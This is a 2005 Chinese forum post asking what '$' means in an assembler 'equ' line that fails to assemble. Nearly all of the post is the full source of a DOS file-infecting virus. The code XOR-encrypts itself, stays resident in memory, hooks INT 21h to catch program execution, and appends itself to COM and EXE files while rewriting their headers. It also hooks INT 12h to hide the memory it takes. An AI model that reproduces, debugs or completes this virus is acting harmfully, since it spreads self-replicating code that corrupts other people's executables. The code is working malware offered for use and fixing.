writesize equ $-begin 中 $ 是什么意思？该语句应该放在什么位置？

antimicro 2005-11-15 11:37:43

如下代码编译通不过，用到writesize的地方就报错

baseoff equ 107h

code segment
assume cs:code,ds:code,es:code,ss:code
org 100h
main:
mov ax,offset begin
jmp ax

db 'cr'

begin:
push es
push ds

mov ax,cs
mov ds,ax
mov es,ax

call get_ip
push ax
mov ax,offset encodebegin
jmp short get_ip_end

oldhead db 0h,4ch,0cdh,21h,6 dup (?)

get_ip label near
mov bp,sp
mov bx,[bp]
ret
get_ip_end:
sub bx,112h ;get current offset
add ax,bx
push ax
pop di
mov si,di
cld
mov cx, offset endtag-offset encodebegin
mov dl, byte ptr [oldhead+bx]
push si
decode:
lodsb
xor al,dl
stosb ;decode at runtime
loop decode
retf ;retf cs:ip=encodebegin
db 62h
db 65h

encodebegin:
mov ax,9f80h
mov es,ax
cmp es:word ptr [virustag-baseoff],7263h
jz alreadyresident

push ds
mov ax,40h
mov ds,ax
mov di,13h ;get free memory
sub word ptr [di],2
pop ds

mov di,0
mov si,bx
add si,baseoff
mov cx,2048
cld

rep movsb ;resident in memory

nop
push bx

mov ax,9f80h
mov ds,ax
mov ax,3521h
int 21h
mov ds:word ptr[oldint21-baseoff],bx
mov dx,bx
mov ds:word ptr[oldint21-baseoff+2h],es

mov dx,offset newint21proc-baseoff
mov ax,2521h
int 21h

mov dx,offset newint12proc-baseoff
mov ax,2512h
int 21h
pop bx

alreadyresident:
mov ax,cs
mov ds,ax
mov es,ax
mov si,offset oldhead
add si,bx
mov di,0100h

cmp cs:word ptr oldhead[bx],6163h ;this is an infected EXE file
jz GotoExe

cld
mov cx,7
rep movsb

pop ds
pop es

cmp cs:word ptr oldhead[bx],4c00h
jz go_out
GotoOldHead: ;this is an infected COM file
mov ax,0100h
jmp ax
GotoExe:
pop ds
pop es
mov ax,ds
add ax,cs:ini_ss[bx] ;set old ss
add ax,10h
mov ss,ax
mov ax,cs:ini_sp[bx] ;set old sp
mov sp,ax
mov ax,ds
add ax,10h
add cs:ini_cs[bx],ax ;set old cs
jmp cs:dword ptr ini_ip[bx] ;jump to the normal EXE
go_out:
mov ah,4ch
int 21h

oldint21 dw 2 dup(?)
filehead db 18h dup (?)
filesize dw 2 dup(?)
virustag db 'cr'
infecthead:
mov ax,offset begin
jmp ax
db 'cr'
temp dw ?

ini_ip dw ?
ini_cs dw ?
ini_ss dw ?
ini_sp dw ?

newint21proc:
cmp ah,4bh
jz tryinfect
jmp int21h
tryinfect:
push ax ;begin to infect
push cx
push es
push di
push bx
push dx
push ds

mov ax,3d02h
int 21h
jnc openok
jmp notinfect ;open fail? not infect
openok:
push ds
push dx
push cs
pop ds
mov dx,offset filehead-baseoff
mov bx,ax
mov cx,18h
mov ah,3fh
int 21h
pop dx
pop ds
jc closefilenear ;read fail? not infect

mov di,offset filehead-baseoff
mov ax,9f80h
mov es,ax

cmp word ptr es:[di],5a4dh ;'MZ' in head? EXE file...
jnz COM_infect
jmp EXE_infect

COM_infect:
cmp word ptr es:[di+5],7263h ;'cr' in 105h? not infect
jz closefilenear

call getfilesize
cmp dx,0
jnz closefilenear ; file is too big..not infect
cmp ax,63000
ja closefilenear ; file is too big..not infect
cmp ax,10
jb closefilenear ; file is too small..not infect

;infect begin,hahahahaha....
jmp infectbegin
closefilenear:
jmp closefile
infectbegin:
mov ax,9f80h
mov ds,ax
mov es,ax
mov si,offset filehead-baseoff
mov di,offset oldhead-baseoff
mov cx,10
cld
rep movsb ;save the old file head

call addvirustofile
call mov_ptr_to_head

mov di,offset infecthead-baseoff
mov dx,di
inc di
mov cx,word ptr [filesize-baseoff]
add cx,100h
mov word ptr [di],cx
mov cx,7
mov ah,40h
int 21h

closefile:
mov ah,3eh
int 21h ; close the file

notinfect:
pop ds
pop dx
pop bx
pop di
pop es
pop cx
pop ax
int21h: jmp dword ptr cs:[oldint21-baseoff]

getfilesize proc near
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc closefile
mov es:word ptr [filesize-baseoff],ax
mov es:word ptr [filesize-baseoff+2],dx ;save the file size
ret
getfilesize endp

addvirustofile proc near
xor dx,dx
mov ah,40h
mov cx,offset encodebegin-offset begin
int 21h
jc closefile ;write fail... not infect
cmp ax,cx
jb closefile ;write fail... not infect

mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2
mov dl,byte ptr oldhead-baseoff
mov dh,dl
mov di,dx
mov si,offset encodebegin-baseoff
mov dx,offset temp-baseoff
encode_myself:
push cx
lodsw
xor ax,di ;encode and then write into file
mov temp-baseoff,ax
mov ah,40h
mov cx,2
int 21h
jc closefile ;write fail... not infect
cmp ax,cx
jb closefile ;write fail... not infect
pop cx
loop encode_myself
ret
addvirustofile endp

mov_ptr_to_head proc near
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc closefile
ret
mov_ptr_to_head endp

EXE_infect proc near

mov ax,es:word ptr[di+2] ;exe size in the last sector
mov dx,es:word ptr[di+4] ;total sectors of exe size
push di
dec dx
mov cx,9
xor si,si
get_size_in_head:
shl dx,1
shl si,1
adc si,0
loop get_size_in_head
add dx,ax
adc si,0
mov di,dx

call getfilesize ;get the exe file size
cmp dx,si
jnz exe_end_near ;not equal(file size and loading size)
cmp dx,0fh ;not infect
ja exe_end_near
cmp ax,di
pop di
jnz exe_end_near

jmp begininfectexe
exe_end_near:
jmp exe_end

;begin to infect exe
begininfectexe:
mov ax,writesize+10
mov cl,9

add ax,es:word ptr[di+2] ;add exe loading size
mov si,ax
and ax,1ffh
mov es:word ptr[di+2],ax
shr si,cl
add es:word ptr[di+4],si

push es
pop ds

mov word ptr[oldhead-baseoff],6163h ;write EXE's tag
mov ax,[di+14h]
mov [ini_ip-baseoff],ax
mov ax,[di+16h]
mov [ini_cs-baseoff],ax
mov ax,[di+10h]
mov [ini_sp-baseoff],ax
mov ax,[di+0eh]
mov [ini_ss-baseoff],ax ;save the old ss,sp,cs,ip

push di
call addvirustofile
pop di
call mov_ptr_to_head

mov ax,filesize-baseoff
mov dx,[di+08h]
mov cl,4
shl dx,cl ;dx=exe header size
sub ax,dx
push ax
and ax,0fh
mov [di+14h],ax ;modify sp,ip
mov [di+10h],writesize+50
add word ptr [di+0ah],writesize/16+1 ;add the memory needed
pop ax
mov dx,filesize+2-baseoff
mov cl,4
modify_cs:
shr dx,1
rcr ax,1
loop modify_cs
mov [di+16h],ax
mov [di+0eh],ax ;modify cs and ss

mov dx,di
mov cx,18h
mov ah,40h
int 21h

exe_end:
jmp closefile
EXE_infect endp

newint12proc:
mov ax,640
iret
writesize equ $-begin
endtag:
code ends
end main

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